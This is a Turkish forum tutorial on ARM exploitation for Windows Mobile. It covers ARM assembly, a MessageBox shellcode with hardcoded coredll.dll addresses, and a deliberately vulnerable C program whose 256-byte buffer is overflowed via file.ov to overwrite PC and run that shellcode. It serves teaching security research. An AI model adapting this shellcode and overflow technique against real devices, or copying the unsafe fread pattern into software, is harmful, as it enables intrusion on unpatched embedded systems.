Welcome, Guest
Username: Password: Remember me
  • Page:
  • 1

TOPIC:

ARM Exploiting'e Giriş 9 years 10 months ago #189

  • quantum50
  • quantum50's Avatar Topic Author
  • Offline
  • Elite Member
  • Elite Member
  • Posts: 480
  • Karma: 4
  • Thank you received: 6
Bu makalede Windows Mobile işletim sistemi üzerinde ARM Exploiting'e değinilecektir. Her ne kadar windows mobile işletim sistemi artık ömrünü tamamlamış olsa da, gün geçtikçe mobil/gömülü sistem güvenlik konuları önem kazanmaktadır. ARM işlemciler günlük hayatta karşılaştığımız DTV, Router, Modem, Akıllı Telefon gibi bir çok cihazda kullanılmaktadır.

Makalenin ülkemizde mobil/gömülü sistem güvenliği, ARM Assembly/Reversing ve ARM Exploiting konularında ar-ge yapacaklara faydalı ve başlangıç basamağı olabileceği düşünülmektedir. Zira ülkemizde bu alanlarda ar-ge ve Türkçe kaynak eksikliği fazlasıyla görülmektedir. Bunun dışında WinCE platformunun hala SCADA, ATM, Restoran/POS otomasyon, GPS sistemlerinde yaygınlığı da göz önünde bulundurulmalıdır.

Windows Mobile İşletim Sistemi
32 Bit, WinCE tabanlı bir işletim sistemi,

X86, ARM vb. birçok işlemci destekli multi platform işletim sistemi,

Windows Mobile de dahil olmak üzere bütün akıllı telefonlar ARM tabanlı,

Native yazılımların hepsi C++‘da geliştirilmiş, (Örn; Browser, Media Player vb.)

Yani bilinen zafiyetler bu platformda da geçerli, (Örn; BoF, Use After Free vb.)

.NET vb. platformlarda uygulama geliştirildiği gibi, 6.1 ve 6.5 için C++/ARM Asm ile native uygulama geliştirmek de mümkün,

Yeni versiyonlarda (windows phone 7/8) native uygulama geliştirme yolu kapalı,

Çalıştırılabilir dosya formatı yapısı itibariyle bildiğimiz Windows PE,

Son olarak 2012 yılı itibariyle Microsoft desteğini çekti , update/market desteği bitmiş durumdadır.

ARM İşlemcisi ve ARM Assembly
RISC CPU

Genelde gömülü sistemlerde kullanılır.

iOS, Android, Symbian, Windows vb. bir çok işletim sistemi tarafından desteklenir.

X86 assembly’ye benzer

37 Register

R0 – R3 registerları fonksiyon parametre ve argümanları için kullanılır.

Fonksiyon/API 4’den fazla argüman/parametre alıyorsa stack kullanılır.

SP -> Stack Pointer

PC -> Program Counter . x86’daki IP ile aynı vazifeyi yapar. Bir sonraki çalıştırılacak fonksiyonun adresini tutar.

LDR (LoaD Register) : Bir registera bir değeri yüklemek için kullanılabilir.

Örnek:

LDR r0, =0xb16b00b5
LDR r1, =7
MOV: bir değeri bir registera taşımak, yüklemek için kullanılabilir, tıpkı LDR gibi. Syntax’ı LDR’den farklıdır. “=” yerine “#” kullanılır.

Örnek:

MOV r0, #0xb16b00b5
MOV r1, #7
BL: x86’ daki CALL instruction'ı yerine koyulabilir.

Örnek:

BL printf
BL sleep
B: x86’daki JMP instruction'ı yerine koyulabilir.

ARM Shellcoding (ARM Kabukkod Geliştirme)
EXPORT start
AREA .text, CODE
start
eor r0, r0, r0
eor r1, r1, r1
eor r2, r2, r2
eor r3, r3, r3
ldr R12, =0x3f6272c ; LoadLibrary'nin adresi
adr r0, lib ; kütüphane ismi {coredll.dll}
mov lr, pc
mov pc, r12
ldr r12, =0x3f7c15c ; MessageBox API nin adresi
mov r0, #0
adr r1, mes
adr r2, mes
mov R3, #0
mov lr, pc
mov pc, r12
lib dcb "c",0,"o",0,"r",0,"e",0,"d",0,"l",0,"l",0,".",0,"d",0,"l",0,"l",0,0,0
mes dcb "o",0,"w",0,"n",0,"z",0,0,0
ALIGN
END
Yukarıdaki kod MessageBox çağıran bir shellcode örneği "ARM İşlemcisi ve ARM Assembly" bölümde öğrendiğimiz assembly komutları ile yazıldı. X86 shellcoding’den farkı bulunmuyor. Kullanacağımız sistem API lerinin çoğu coredll.dll kütüphanesinden çağırılmakta. Windows Mobile’de ASLR vb. önlem mekanizmaları bulunmadığından, kabukkod için kullanılacak fonksiyonların adreslerini coredll.dll içerisinden doğrudan çağrılır. Kodda yapılanlar kısaca;

LoadLibrary fonksiyon adresini R12 registerına yükle.

Kullanacağımız Library ismini (coredll.dll) r0 register'ına yükle. LoadLibrary fonksiyonu tek parametre almakta bu yüzden sadece r0 register'ı kullanıldı.

R12 register'ını PC register'ına taşı ve fonksiyonu çalıştır.

Şimdi messagebox fonksiyonun adresini R12’ye yükle.

Fonksiyon parametrelerini (hwnd, lptext, lpcaption, utype) sırasıyla r0 , r1, r2 ve r3 register'larına yükle.

Adresi PC’ye taşı ve çalıştır.

Kodu derleyip hex kodlarını alarak, exploit içerisinde kullanılacak hale getirebilirsiniz.(Null byte free değildir!).

Stack ve Hafıza Taşması
ARM stack yapısı x86 stack yapısına benzerdir;

resim-1.png
Hafıza Taşması İstismarı (Exploiting Buffer Overflow)
#include "stdafx.h"
int shellcode[] =
{
0xE0200000,
0xE0211001,
0xE0222002,
0xE0233003,
0xE59FC048,
0xE28F0020,
0xE1A0E00F,
0xE1A0F00C,
0xE59FC03C,
0xE3A00000,
0xE28F1024,
0xE28F2020,
0xE3A03000,
0xE1A0E00F,
0xE1A0F00C,
0x006F0063,
0x00650072,
0x006C0064,
0x002E006C,
0x006C0064,
0x0000006C,
0x0077006F,
0x007A006E,
0x00000000,
0x03F6272C,
0x03F7C15C,
};

int bof()
{
FILE * FileH;
char File[] = "\\file.ov";
char buffer[256];
if ( (FileH = fopen(File, "rb")) == NULL )
{
printf("can't open file %s!\n", File);
return 1;
}
memset(buffer, 0, sizeof(buffer));
fread(buffer, sizeof(char), 512, FileH); /* overflow. */
fclose(FileH);
return 0;
}
int WINAPI WinMain( HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPTSTR lpCmdLine,
int nCmdShow)
{
bof();
return 0;
}
Program file.ov dosyasını açmaya çalışıyor. File.ov dosyasını okuması için ayrılan ön bellek (buffer) 256 byte ancak fread fonksiyonunda 512 byte‘a kadar okumasına izin veriliyor. Yani eğer file.ov dosyası 256 byte'dan büyük olursa bir hafıza taşması durumuyla karşılaşılacak demektir.

"Stack ve Hafıza Taşması" bölümündeki şekilden yola çıkılarak, 264 Byte'lık bir file.ov dosyası oluşturulursa ve program bu dosyayı açarsa;

256 Byte -> buffer değişkeninde tutulacak.

4 byte -> R4 register'ının üzerine yazılacak.

Son 4 byte -> PC register'ının üzerine yazılacak.

“A” x 260 + “CCCC” formatında oluşturulan bir file.ov dosyasını program ile açılmaya çalışıldığında aşağıdaki görüntüyle karşılaşılır;

resim-2.png
Peki nasıl crash analizi yapılacak? Oluşan crash dump dosyası Windows/System klasörü altındaki DumpFiles adlı dizinde bulunabilir. Windbg aracı windows mobile crash dump dosyalarını da desteklemektedir. Aynı zamanda IDA Pro ve EVC ile runtime debug işlemi de yapılabilir.

resim-3.png
Crash dump dosyasını bilgisayara aktarıp WinDbg ile açtıktan sonra register'ların durumuna göz atıldığında , beklenildiği gibi bir sonuçla karşılaşılır;

resim-4.png
Yapılması gereken programın akışını değiştirerek, zaten hali hazırda program içerisinde bulunan ancak Main‘de çağırılmayan shellcode[] değişkenini çağırmak. Shellcode[] değişkeni içerisindeki hex kodlar, "ARM Shellcoding" bölümünde yazılan kabukkod'a karşılık gelmektedir.

Bunun için yapılması gereken, shellcode[] değişkeninin adresini PC register'ı üzerine yazmak.

Oluşturulacak file.ov dosyası şu içerikte olacak;

“0x41” x 260 + “0x00013048”

** 0x00013048 --> shellcode[] değişkeninin adresi.

resim-5.png
Yukarıda hazırlanan file.ov dosyasını program (bof.exe) ile aynı dizine atıp, programı çalıştırdığımızda programın akışını değiştirmeyi başarıp, kabukkodun çalıştığı görülecektir.

Please Log in or Create an account to join the conversation.

  • Page:
  • 1
Time to create page: 0.161 seconds

NDK Hoş Geldin